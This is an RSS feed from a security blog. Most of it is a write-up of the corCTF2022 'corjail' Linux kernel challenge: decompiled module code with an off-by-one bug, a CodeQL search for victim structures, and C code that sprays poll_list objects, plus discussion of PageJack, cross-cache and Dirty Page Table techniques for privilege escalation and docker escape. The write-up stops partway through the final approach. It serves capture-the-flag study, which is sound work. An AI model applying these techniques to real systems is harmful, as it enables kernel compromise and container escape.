<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>CTF on Uniguri&#39;s Blog</title>
    <link>/tags/ctf/</link>
    <description>Recent content in CTF on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 26 Nov 2025 10:33:45 +0000</lastBuildDate><atom:link href="/tags/ctf/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>화햇콘 용사부 1등</title>
      <link>/posts/ctf/2025/whitehat/whitehat-1st/</link>
      <pubDate>Wed, 26 Nov 2025 10:33:45 +0000</pubDate>
      
      <guid>/posts/ctf/2025/whitehat/whitehat-1st/</guid>
      <description>&lt;p&gt;오예스&lt;/p&gt;

&lt;img src=&#34;images/whitehat2025-final-ranking.png&#34;  alt=&#34;2025 WhiteHat Final Ranking&#34;  class=&#34;center&#34;    /&gt;</description>
      <content>&lt;p&gt;오예스&lt;/p&gt;

&lt;img src=&#34;images/whitehat2025-final-ranking.png&#34;  alt=&#34;2025 WhiteHat Final Ranking&#34;  class=&#34;center&#34;    /&gt;


</content>
    </item>
    
    <item>
      <title>corCTF2022 corjail</title>
      <link>/posts/kernel/write-ups/ctf/corctf2022-corjail/</link>
      <pubDate>Sun, 06 Apr 2025 12:18:08 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/corctf2022-corjail/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source&#34;&gt;&lt;code&gt;5.10.127&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLUB_DEBUG=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLUB=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_HARDENED=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-description&#34;&gt;Simple description&lt;/h3&gt;
&lt;p&gt;The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k.
The seccomp prohibits us to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, we need to find new structure which makes us exploit off-by-one.
And after making RIP control (ROP, or something&amp;hellip;), we have to LPE and Escaping docker.&lt;/p&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The module is simple: just prints the count of each syscall called and makes us to filter which syscall&amp;rsquo;s call count will be counted.
It utilizes Syscall statistics patch based on &lt;a href=&#34;https://lwn.net/Articles/896474/&#34;&gt;https://lwn.net/Articles/896474/&lt;/a&gt; (check out &lt;code&gt;build/build_kernel.sh&lt;/code&gt;).&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source&#34;&gt;&lt;code&gt;5.10.127&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLUB_DEBUG=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLUB=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_HARDENED=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-description&#34;&gt;Simple description&lt;/h3&gt;
&lt;p&gt;The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k.
The seccomp prohibits us to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, we need to find new structure which makes us exploit off-by-one.
And after making RIP control (ROP, or something&amp;hellip;), we have to LPE and Escaping docker.&lt;/p&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The module is simple: just prints the count of each syscall called and makes us to filter which syscall&amp;rsquo;s call count will be counted.
It utilizes Syscall statistics patch based on &lt;a href=&#34;https://lwn.net/Articles/896474/&#34;&gt;https://lwn.net/Articles/896474/&lt;/a&gt; (check out &lt;code&gt;build/build_kernel.sh&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I think this function is only one we must read:



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;348591726&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;348591726&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-cormon_proc_write.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;int64_t cormon_proc_write(struct file *file, const char *src, size_t size,
                          loff_t *ppos) {
  size_t v5;       // rbp
  const char *v7;  // rbx

  if (*ppos &amp;lt; 0) return -22LL;
  if (size == 0 || (unsigned __int64)*ppos &amp;gt; 0xFFF) return 0LL;
  if (size &amp;gt; 0x1000)
    v5 = 4095LL;
  else
    v5 = size;
  v7 = (const char *)kmem_cache_alloc_trace(
      kmalloc_caches[12], 2592LL,
      4096LL);  // SLAB_CACHE = kmalloc-4096 (0x800 &amp;lt; size &amp;lt;= 0x1000)
  printk(&amp;amp;unk_578, v7);
  if (v7) {
    _check_object_size(v7, v5, 0LL);
    if (copy_from_user(v7, src, v5)) {
      printk(&amp;amp;unk_5D0, src);
      return -14LL;
    } else {
      v7[v5] = 0;  // off-by-one when size=0x1000 -&amp;gt; v5=0x1000
      if ((unsigned int)update_filter(v7)) {
        kfree(v7);
        return -22LL;
      } else {
        kfree(v7);
        return size;
      }
    }
  } else {
    printk(&amp;amp;unk_5A0, 0LL);
    return -12LL;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;As I wrote on above pseudocode, the vulnerability (off-by-one) is occurs at &lt;code&gt;v7[v5] = 0;&lt;/code&gt;.
Okay.. the off-by-one in kmalloc-4k is all of this challenge&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Haha&amp;hellip; okay&amp;hellip; how we can exploit off-by-one in kmalloc-4k without &lt;code&gt;struct msg_msg&lt;/code&gt;&amp;hellip;?
I tried 3 approaches and I solve it with last approach as a result (I think first one was too complex and second one does not works..).&lt;/p&gt;
&lt;h3 id=&#34;first-approach-using-struct-poll_listhttpselixirbootlincomlinuxv510127sourcefsselectcl839&#34;&gt;First approach (using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839&#34;&gt;&lt;code&gt;struct poll_list&lt;/code&gt;&lt;/a&gt;)&lt;/h3&gt;
&lt;h4 id=&#34;finding-victim-object&#34;&gt;Finding victim object&lt;/h4&gt;
&lt;p&gt;My first approach is exploit structure with first member is &lt;code&gt;struct ??? *next&lt;/code&gt; or refcount like &lt;code&gt;atomic_t ???_count&lt;/code&gt;, &lt;code&gt;atomic_long_t ???_count&lt;/code&gt;, or etc.
If the structure has next pointer, we can make UAF by releaseing the object and this is also same if it has recount.&lt;/p&gt;
&lt;p&gt;So I try finding these objects using &lt;a href=&#34;https://codeql.github.com/&#34;&gt;CodeQL&lt;/a&gt;.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391468527&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391468527&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-codeql_finding_target_struct.sql&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;import cpp
from Field f, Type ty, PointerType p, FunctionCall call
where
    (
        call.getTarget().getName() = &amp;#34;kmalloc&amp;#34; or
        call.getTarget().getName() = &amp;#34;kzalloc&amp;#34; 
    ) and
    call.getActualType() = p and
    p.refersTo(ty) and
    f.getByteOffset() = 0 and
    f.getDeclaringType() = ty and
    (
        f.getType().getName() = &amp;#34;list_head&amp;#34; or 
        f.getName().matches(&amp;#34;%count%&amp;#34;) or
        f.getType().refersToDirectly(ty)
    ) and
    (
        (
            call.getArgument(0).getValue().toInt() &amp;gt; 2048 and
            call.getArgument(0).getValue().toInt() &amp;lt;= 4096
        ) or
        not call.getArgument(0).isConstant()
    )
select ty.getName(), 
    ty.getLocation().toString(), 
    call.getLocation().toString()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And the result is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;217463859&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;217463859&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-codeql_finding_target_struct_result.txt&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;|          col0           |                          col1                           |                        col2                         |
+-------------------------+---------------------------------------------------------+-----------------------------------------------------+
| workqueue_struct        | kernel/workqueue.c:239:8:239:23                         | kernel/workqueue.c:4288:7:4288:13                   |
| posix_acl               | include/linux/posix_acl.h:27:8:27:16                    | fs/posix_acl.c:181:26:181:32                        |
| msg_msg                 | include/linux/msg.h:9:8:9:14                            | ipc/msgutil.c:53:8:53:14                            |
| sem_undo                | ipc/sem.c:146:8:146:15                                  | ipc/sem.c:1940:8:1940:14                            |
| list_head               | include/linux/types.h:178:8:178:16                      | fs/dcookies.c:236:22:236:28                         |
| list_head               | tools/include/linux/types.h:69:8:69:16                  | fs/dcookies.c:236:22:236:28                         |
| perf_buffer             | kernel/events/internal.h:13:8:13:18                     | kernel/events/ring_buffer.c:815:7:815:13            |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:271:16:271:22                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:308:14:308:20                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:352:15:352:21                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/vmbus_drv.c:2473:12:2473:18              |
| blk_plug_cb             | include/linux/blkdev.h:1262:8:1262:18                   | block/blk-core.c:1743:7:1743:13                     |
| audit_tree              | kernel/audit_tree.c:13:8:13:17                          | kernel/audit_tree.c:97:9:97:15                      |
| apertures_struct        | include/linux/fb.h:495:9:495:24                         | include/linux/fb.h:509:6:509:12                     |
| Scsi_Host               | include/scsi/scsi_host.h:524:8:524:16                   | drivers/scsi/hosts.c:386:10:386:16                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:453:13:453:19                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:406:6:406:12                   |
| netdev_hw_addr          | include/linux/netdevice.h:209:8:209:21                  | net/core/dev_addr_lists.c:30:7:30:13                |
| cpu_rmap                | include/linux/cpu_rmap.h:24:8:24:15                     | lib/cpu_rmap.c:39:9:39:15                           |
| poll_list               | fs/select.c:839:8:839:16                                | fs/select.c:1005:23:1005:29                         |
| hpets                   | drivers/char/hpet.c:104:8:104:12                        | drivers/char/hpet.c:858:10:858:16                   |
| resource_entry          | include/linux/resource_ext.h:23:8:23:21                 | kernel/resource.c:1701:10:1701:16                   |
| journal_replay          | drivers/md/bcache/journal.h:83:8:83:21                  | drivers/md/bcache/journal.c:150:8:150:14            |
| md_rdev                 | drivers/md/md.h:48:8:48:14                              | drivers/md/raid0.c:149:18:149:24                    |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2266:7:2266:13  |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2231:7:2231:13  |
| iscsi_bus_flash_conn    | include/scsi/scsi_transport_iscsi.h:318:8:318:27        | drivers/scsi/scsi_transport_iscsi.c:1286:15:1286:21 |
| iscsi_bus_flash_session | include/scsi/scsi_transport_iscsi.h:363:8:363:30        | drivers/scsi/scsi_transport_iscsi.c:1237:15:1237:21 |
| iscsi_cls_conn          | include/scsi/scsi_transport_iscsi.h:202:8:202:21        | drivers/scsi/scsi_transport_iscsi.c:2401:9:2401:15  |
| iscsi_cls_session       | include/scsi/scsi_transport_iscsi.h:241:8:241:24        | drivers/scsi/scsi_transport_iscsi.c:2040:12:2040:18 |
| tcmu_tmr                | drivers/target/target_core_user.c:192:8:192:15          | drivers/target/target_core_user.c:1270:8:1270:14    |
| ext4_xattr_inode_array  | fs/ext4/xattr.h:119:8:119:29                            | fs/ext4/xattr.c:2822:15:2822:21                     |
| fscache_cache_tag       | include/linux/fscache-cache.h:43:8:43:24                | fs/fscache/cache.c:41:9:41:15                       |
| mr_table                | include/linux/mroute_base.h:241:8:241:15                | net/ipv4/ipmr_base.c:41:8:41:14                     |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:1714:23:1714:29                |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:737:6:737:12                   |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:544:11:544:17                  |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:60:6:60:12                     |
| msg_msgseg              | ipc/msgutil.c:37:8:37:17                                | ipc/msgutil.c:68:9:68:15                            |
| audit_chunk             | kernel/audit_tree.c:25:8:25:18                          | kernel/audit_tree.c:193:10:193:16                   |
| kprobe_insn_page        | kernel/kprobes.c:90:8:90:23                             | kernel/kprobes.c:172:8:172:14                       |
| kmalloced_param         | kernel/params.c:39:8:39:22                              | kernel/params.c:50:6:50:12                          |
| nested_table            | lib/rhashtable.c:32:7:32:18                             | lib/rhashtable.c:133:9:133:15                       |
| nf_queue_entry          | include/net/netfilter/nf_queue.h:12:8:12:21             | net/netfilter/nf_queue.c:204:10:204:16              |
| tls_rec                 | include/net/tls.h:99:8:99:14                            | net/tls/tls_sw.c:337:8:337:14                       |
| nh_group                | include/net/nexthop.h:75:8:75:15                        | net/ipv4/nexthop.c:138:8:138:14                     |
| ctnl_timeout            | include/net/netfilter/nf_conntrack_timeout.h:20:8:20:19 | net/netfilter/nfnetlink_cttimeout.c:133:12:133:18   |
| recent_entry            | net/netfilter/xt_recent.c:66:8:66:19                    | net/netfilter/xt_recent.c:191:6:191:12              |
| counted_str             | security/apparmor/include/lib.h:93:8:93:18              | security/apparmor/lib.c:139:8:139:14                |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1404:9:1406:38           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:813:9:816:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:825:9:829:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/label.c:428:8:428:14              |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1117:8:1119:37           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:895:9:897:25             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/mount.c:707:11:709:27             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1691:12:1691:18             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1611:11:1611:17             |
| ima_rule_opt_list       | security/integrity/ima/ima_policy.c:63:8:63:24          | security/integrity/ima/ima_policy.c:288:13:288:19   |&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I look up these structures and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839&#34;&gt;&lt;code&gt;struct poll_list&lt;/code&gt;&lt;/a&gt; is useful.
Because it has &lt;code&gt;struct poll_list *next&lt;/code&gt; at offset 0, it is allocated by &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L1067&#34;&gt;&lt;code&gt;poll&lt;/code&gt; system call&lt;/a&gt;, and its size is provided by user.&lt;/p&gt;
&lt;h4 id=&#34;how-to-spray-poll&#34;&gt;How to spray poll?&lt;/h4&gt;
&lt;p&gt;I want to spray &lt;code&gt;struct poll_list&lt;/code&gt; in kmalloc-4k. Therefore I can allocate it and release it when I want.
But since the &lt;code&gt;poll&lt;/code&gt; originally block the user program, we allocate it on other thread (actually we need to allocate it on other process).&lt;/p&gt;
&lt;p&gt;I tried it using &lt;code&gt;pthread_create&lt;/code&gt; but the thread is not created. So I decide to use &lt;code&gt;clone&lt;/code&gt;&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;246518739&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;246518739&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-spray_poll.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;int create_poll(void *timeout_ms) {
  pin_to_core(0);
  const int timeout = (int)(int64_t)timeout_ms;
  const int size = (256 - 16) / 8 + (0x1000 - 16) / 8;
  struct pollfd *fds = malloc(size * sizeof(struct pollfd));
  for (int i = 0; i &amp;lt; size; i++) {
    fds[i].fd = 0xdead0000 + i;
    fds[i].events = POLLIN;
  }
  poll(fds, size, timeout);
  free(fds);
}

#define CLONE_STACK_HEAP_ALLOC_COUNT 1024 * 1024
int create_poll_via_clone(int timeout_ms) {
  char child_stack[CLONE_STACK_HEAP_ALLOC_COUNT];
  int pid = clone(create_poll, child_stack, CLONE_VM | SIGCHLD,
                  (void *)(int64_t)timeout_ms);
  return pid;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;slubstickhttpswwwusenixorgconferenceusenixsecurity24presentationmaar-slubstick&#34;&gt;&lt;a href=&#34;https://www.usenix.org/conference/usenixsecurity24/presentation/maar-slubstick&#34;&gt;SLUBStick&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Now I can spray &lt;code&gt;struct poll_list&lt;/code&gt; and trigger off-by-one.
But as you know, we cannot ensure off-by-one will corrupt &lt;code&gt;struct poll_list&lt;/code&gt;&amp;rsquo;s &lt;code&gt;struct poll_list *next&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I decide to use SLUBStick for gathering &lt;code&gt;struct poll_list&lt;/code&gt;s in one (or consecutive) slab cache.
Originally SLUBStic is for a cross-cache attack and cross-cache attack requires that target objects must be in one slab cache.&lt;/p&gt;
&lt;p&gt;By using SLUBStick we can spray &lt;code&gt;struct poll_list&lt;/code&gt;s on one (or consecutive) slab cache.
And so off-by-one will be corrupt its next with high stability.&lt;/p&gt;
&lt;h4 id=&#34;find-another-approace&#34;&gt;Find another approace&lt;/h4&gt;
&lt;p&gt;At this time, I think how I can exploit using &lt;code&gt;struct poll_list&lt;/code&gt;.
My plain was following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Spray &lt;code&gt;struct poll_list&lt;/code&gt; with its next is in kmalloc-8, kmalloc-16, kmalloc-32, kmalloc-64, kmalloc-128, kmalloc-192 (let me call it target cache from now on)&lt;/li&gt;
&lt;li&gt;Trigger off-by-one and make UAF in target cache&lt;/li&gt;
&lt;li&gt;Leak kernel base to bypass KASLR using object in target cache&lt;/li&gt;
&lt;li&gt;Do Cross-Cache attack on target cache and make UAF in kmalloc-1k (for using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/tty.h#L285&#34;&gt;&lt;code&gt;struct tty_struct&lt;/code&gt;&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Do ROP using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/keys/user-type.h#L27&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt; or other objects&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hmm&amp;hellip; This require cross-cache attack and its stability is low as we know.
That&amp;rsquo;s why I try another approach.&lt;/p&gt;
&lt;p&gt;PS. &lt;a href=&#34;https://syst3mfailure.io/corjail/&#34;&gt;the author&amp;rsquo;s write-up&lt;/a&gt; might do similar thing without cross-cache. Leak address of &lt;code&gt;struct tty_struct&lt;/code&gt; using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/tty.h#L347&#34;&gt;&lt;code&gt;struct tty_file_private&lt;/code&gt;&lt;/a&gt; and make UAF on that &lt;code&gt;struct tty_struct&lt;/code&gt;. And do ROP.&lt;/p&gt;
&lt;h3 id=&#34;second-approach-using-pagejackhttpsiblackhatcombh-us-24presentationsus24-qian-pagejack-a-powerful-exploit-technique-with-page-level-uaf-thursdaypdf&#34;&gt;Second approach (using &lt;a href=&#34;https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf&#34;&gt;PageJack&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;After searching methods which can exploit off-by-one, I found &lt;a href=&#34;https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf&#34;&gt;PageJack&lt;/a&gt;.
It does not require bypass KASLR, corss-cache, and ETC and only require the off-by-one (or OOB write).&lt;/p&gt;
&lt;p&gt;WoW.. I tried it immediately&amp;hellip;.
But it does not works&amp;hellip;. WHY?!?!&lt;/p&gt;
&lt;h4 id=&#34;why-pagejack-does-not-work&#34;&gt;Why PageJack does not work?&lt;/h4&gt;
&lt;p&gt;PageJack utilize &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct page *page&lt;/code&gt;&lt;/a&gt; of &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct pipe_buffer&lt;/code&gt;&lt;/a&gt;.
With off-by-one (or OOB write) we can overwrite least significant byte of &lt;code&gt;page&lt;/code&gt; and make physical page level UAF as a result.&lt;/p&gt;
&lt;p&gt;After page level UAF, spraying &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L916&#34;&gt;&lt;code&gt;struct file&lt;/code&gt;&lt;/a&gt; will make the UAF page &lt;code&gt;filp&lt;/code&gt; cache (the &lt;code&gt;filp&lt;/code&gt; cache uses only one page).
The &lt;code&gt;struct file&lt;/code&gt;s allocated on new &lt;code&gt;filp&lt;/code&gt; cache (it&amp;rsquo;s UAF page) and we have write primitive on it via pipe.
We can modify &lt;code&gt;fmode_t f_mode&lt;/code&gt; of &lt;code&gt;struct file&lt;/code&gt; via pipe as a result.&lt;/p&gt;
&lt;p&gt;Everything is okay except the &lt;code&gt;const struct file_operations *f_op&lt;/code&gt;.
The write process is following:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    flowchart TD
	    sys_write[sys_write] --&amp;gt; ksys_write
	    ksys_write[ksys_write] --&amp;gt; vfs_write
	    vfs_write[vfs_write] --&amp;gt; write[file-&amp;gt;f_op-&amp;gt;write]
	    vfs_write[vfs_write] --&amp;gt; new_sync_write[new_sync_write]
	    new_sync_write[new_sync_write] --&amp;gt; write_iter[file-&amp;gt;f_op-&amp;gt;write_iter]
	
	    click sys_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L667&amp;#34;
	    click ksys_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L647&amp;#34;
	    click vfs_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L585&amp;#34;
	    click new_sync_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L507&amp;#34;
	    click call_write_iter &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L1900&amp;#34;
&lt;/pre&gt;
&lt;p&gt;Unlike host environment, in docker container &lt;code&gt;f_op&lt;/code&gt; is &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/overlayfs/file.c#L764&#34;&gt;&lt;code&gt;ovl_file_operations&lt;/code&gt;&lt;/a&gt;.
So, when call &lt;code&gt;file-&amp;gt;f_op-&amp;gt;write&lt;/code&gt; or &lt;code&gt;file-&amp;gt;f_op-&amp;gt;write_iter&lt;/code&gt;, the called function is not same as host and the &lt;code&gt;f_mode&lt;/code&gt; is checked again in &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/overlayfs/file.c#L350&#34;&gt;&lt;code&gt;ovl_write_iter&lt;/code&gt;&lt;/a&gt; (check it yourself!).&lt;/p&gt;

&lt;img src=&#34;https://media1.tenor.com/m/kXWb4lofzQcAAAAC/hiroi-kikuri-hiroi.gif&#34;  alt=&#34;hiroi sad&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;PS. the &lt;a href=&#34;https://github.com/sajjadium/ctf-archives/tree/main/ctfs/Codegate/2025/Quals/pwn/pew&#34;&gt;pew challenge&lt;/a&gt; of CodeGate 2025 Qual is solved easily by &lt;a href=&#34;https://github.com/Lotuhu/Page-UAF/blob/master/CVE-2021-22555/exp.c&#34;&gt;PageJack PoC&lt;/a&gt; (we need to modify the poc very very little).&lt;/p&gt;
&lt;h3 id=&#34;last-approach-using-struct-pipe_bufferhttpselixirbootlincomlinuxv510127sourceincludelinuxpipe_fs_ihl26-and-dirty-page-tablehttpsyanglingxi1993githubiodirty_pagetabledirty_pagetablehtml&#34;&gt;Last approach (using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct pipe_buffer&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html&#34;&gt;Dirty Page Table&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;We cannot use PageJack but we can get physical page level UAF by using it partially.
So, then, we can use &lt;a href=&#34;https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html&#34;&gt;Dirty Page Table&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;uaf-page-to-ptehttpsenwikipediaorgwikipage_tablepage_table_entry-page&#34;&gt;UAF page to &lt;a href=&#34;https://en.wikipedia.org/wiki/Page_table#Page_table_entry&#34;&gt;PTE&lt;/a&gt; page&lt;/h4&gt;
&lt;p&gt;We can spray &lt;a href=&#34;https://en.wikipedia.org/wiki/Page_table#Page_table_entry&#34;&gt;PTE&lt;/a&gt;s via &lt;code&gt;mmap&lt;/code&gt; and cause page fault by write to each memory. But I tried like below I failed to allocate PTEs on UAF page.&lt;/p&gt;
